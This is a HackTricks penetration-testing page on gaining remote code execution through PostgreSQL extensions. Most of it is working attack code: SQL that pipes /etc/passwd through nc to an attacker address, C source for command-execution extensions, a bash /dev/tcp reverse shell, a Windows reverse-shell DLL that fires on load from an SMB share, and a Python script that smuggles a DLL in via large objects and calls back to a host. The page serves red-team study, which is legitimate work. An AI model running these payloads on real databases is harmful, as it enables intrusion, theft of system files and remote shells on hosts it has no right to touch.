HackTricks
HackTricks Training Twitter Linkedin Sponsor

RCE with PostgreSQL Extensions

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

PostgreSQL Extensions

PostgreSQL has been developed with extensibility as a core feature, allowing it to seamlessly integrate extensions as if they were built-in functionalities. These extensions, essentially libraries written in C, enrich the database with additional functions, operators, or types.

From version 8.1 onwards, a specific requirement is imposed on the extension libraries: they must be compiled with a special header. Without this, PostgreSQL will not execute them, ensuring only compatible and potentially secure extensions are used.

Also, keep in mind that if you don't know how to upload files to the victim abusing PostgreSQL you should read this post.

RCE in Linux

For more information check: https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/

The execution of system commands from PostgreSQL 8.1 and earlier versions is a process that has been clearly documented and is straightforward. It's possible to use this: Metasploit module.

CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');

# You can also create functions to open and write files
CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;
Write binary file from base64

To write a binary into a file in postgres you might need to use base64, this will be helpful for that matter:

CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
    $$
    DECLARE
        fh int;
        s int;
        w bytea;
        i int;
    BEGIN
        SELECT open(textout(file)::cstring, 522, 448) INTO fh;

        IF fh <= 2 THEN
            RETURN 1;
        END IF;

        SELECT decode(s, 'base64') INTO w;

        i := 0;
        LOOP
            EXIT WHEN i >= octet_length(w);

            SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;

            IF rs < 0 THEN
                RETURN 2;
            END IF;

            i := i + 1;
        END LOOP;

        SELECT close(fh) INTO rs;

        RETURN 0;

    END;
    $$ LANGUAGE 'plpgsql';

However, when attempted on greater versions the following error was shown:

ERROR:  incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
HINT:  Extension libraries are required to use the PG_MODULE_MAGIC macro.

This error is explained in the PostgreSQL documentation:

To ensure that a dynamically loaded object file is not loaded into an incompatible server, PostgreSQL checks that the file contains a “magic block” with the appropriate contents. This allows the server to detect obvious incompatibilities, such as code compiled for a different major version of PostgreSQL. A magic block is required as of PostgreSQL 8.2. To include a magic block, write this in one (and only one) of the module source files, after having included the header fmgr.h:

#ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif

Since PostgreSQL version 8.2, the process for an attacker to exploit the system has been made more challenging. The attacker is required to either utilize a library that is already present on the system or to upload a custom library. This custom library must be compiled against the compatible major version of PostgreSQL and must include a specific "magic block". This measure significantly increases the difficulty of exploiting PostgreSQL systems, as it necessitates a deeper understanding of the system's architecture and version compatibility.

Compile the library

Get the PsotgreSQL version with:

SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit

For compatibility, it is essential that the major versions align. Therefore, compiling a library with any version within the 9.6.x series should ensure successful integration.

To install that version in your system:

apt install postgresql postgresql-server-dev-9.6

And compile the library:

//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
#include <string.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

PG_FUNCTION_INFO_V1(pg_exec);
Datum pg_exec(PG_FUNCTION_ARGS) {
    char* command = PG_GETARG_CSTRING(0);
    PG_RETURN_INT32(system(command));
}

Then upload the compiled library and execute commands with:

CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes

You can find this library precompiled to several different PostgreSQL versions and even can automate this process (if you have PostgreSQL access) with:

LogoGitHub - Dionach/pgexec: Script and resources to execute shell commands using access to a PostgreSQL serviceGitHub

RCE in Windows

The following DLL takes as input the name of the binary and the number of times you want to execute it and executes it:

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include "utils/builtins.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(pgsql_exec);

/* this function launches the executable passed in as the first parameter
in a FOR loop bound by the second parameter that is also passed*/
Datum
pgsql_exec(PG_FUNCTION_ARGS)
{
	/* convert text pointer to C string */
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))

	/* retrieve the second argument that is passed to the function (an integer)
	that will serve as our counter limit*/

	int instances = PG_GETARG_INT32(1);

	for (int c = 0; c < instances; c++) {
		/*launch the process passed in the first parameter*/
		ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
	}
	PG_RETURN_VOID();
}

You can find the DLL compiled in this zip:

You can indicate to this DLL which binary to execute and the number of time to execute it, in this example it will execute calc.exe 2 times:

CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);

In here you can find this reverse-shell:

#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444"
 
#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <winsock2.h>
 
#pragma comment(lib,"ws2_32")
 
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
 
#pragma warning(push)
#pragma warning(disable: 4996)
#define _WINSOCK_DEPRECATED_NO_WARNINGS
 
BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
                    _In_ DWORD fdwReason,
                    _In_ LPVOID lpvReserved)
{
    WSADATA wsaData;
    SOCKET wsock;
    struct sockaddr_in server;
    char ip_addr[16];
    STARTUPINFOA startupinfo;
    PROCESS_INFORMATION processinfo;
 
    char *program = "cmd.exe";
    const char *ip = PG_REVSHELL_CALLHOME_SERVER;
    u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);
 
    WSAStartup(MAKEWORD(2, 2), &wsaData);
    wsock = WSASocket(AF_INET, SOCK_STREAM,
                      IPPROTO_TCP, NULL, 0, 0);
 
    struct hostent *host;
    host = gethostbyname(ip);
    strcpy_s(ip_addr, sizeof(ip_addr),
             inet_ntoa(*((struct in_addr *)host->h_addr)));
 
    server.sin_family = AF_INET;
    server.sin_port = htons(port);
    server.sin_addr.s_addr = inet_addr(ip_addr);
 
    WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
              NULL, NULL, NULL, NULL);
 
    memset(&startupinfo, 0, sizeof(startupinfo));
    startupinfo.cb = sizeof(startupinfo);
    startupinfo.dwFlags = STARTF_USESTDHANDLES;
    startupinfo.hStdInput = startupinfo.hStdOutput =
                            startupinfo.hStdError = (HANDLE)wsock;
 
    CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
                  NULL, NULL, &startupinfo, &processinfo);
 
    return TRUE;
}
 
#pragma warning(pop) /* re-enable 4996 */
 
/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS);
 
PG_FUNCTION_INFO_V1(add_one);
 
Datum dummy_function(PG_FUNCTION_ARGS)
{
    int32 arg = PG_GETARG_INT32(0);
 
    PG_RETURN_INT32(arg + 1);
}

Note how in this case the malicious code is inside the DllMain function. This means that in this case it isn't necessary to execute the loaded function in postgresql, just loading the DLL will execute the reverse shell:

CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;

RCE in newest Prostgres versions

In the latest versions of PostgreSQL, restrictions have been imposed where the superuser is prohibited from loading shared library files except from specific directories, such as C:\Program Files\PostgreSQL\11\lib on Windows or /var/lib/postgresql/11/lib on *nix systems. These directories are secured against write operations by either the NETWORK_SERVICE or postgres accounts.

Despite these restrictions, it's possible for an authenticated database superuser to write binary files to the filesystem using "large objects." This capability extends to writing within the C:\Program Files\PostgreSQL\11\data directory, which is essential for database operations like updating or creating tables.

A significant vulnerability arises from the CREATE FUNCTION command, which permits directory traversal into the data directory. Consequently, an authenticated attacker could exploit this traversal to write a shared library file into the data directory and then load it. This exploit enables the attacker to execute arbitrary code, achieving native code execution on the system.

Attack flow

First of all you need to use large objects to upload the dll. You can see how to do that here:

pageBig Binary Files Upload (PostgreSQL)

Once you have uploaded the extension (with the name of poc.dll for this example) to the data directory you can load it with:

create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);

Note that you don't need to append the .dll extension as the create function will add it.

For more information read the original publication here. In that publication this was the code use to generate the postgres extension (to learn how to compile a postgres extension read any of the previous versions). In the same page this exploit to automate this technique was given:

#!/usr/bin/env python3
import sys

if len(sys.argv) != 4:
    print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
    print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
    sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])
lib = sys.argv[3]
with open(lib, "rb") as dll:
    d = dll.read()
sql = "select lo_import('C:/Windows/win.ini', 1337);"
for i in range(0, len(d)//2048):
    start = i * 2048
    end   = (i+1) * 2048
    if i == 0:
        sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
    else:
        sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d) % 2048) != 0:
    end   = (i+1) * 2048
    sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())

sql += "select lo_export(1337, 'poc.dll');"
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
sql += "select connect_back('%s', %d);" % (host, port)
print("(+) building poc.sql file")
with open("poc.sql", "w") as sqlfile:
    sqlfile.write(sql)
print("(+) run poc.sql in PostgreSQL using the superuser")
print("(+) for a db cleanup only, run the following sql:")
print("    select lo_unlink(l.oid) from pg_largeobject_metadata l;")
print("    drop function connect_back(text, integer);")

References

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
PreviousRCE with PostgreSQL LanguagesNextSQLMap - Cheetsheat

Last updated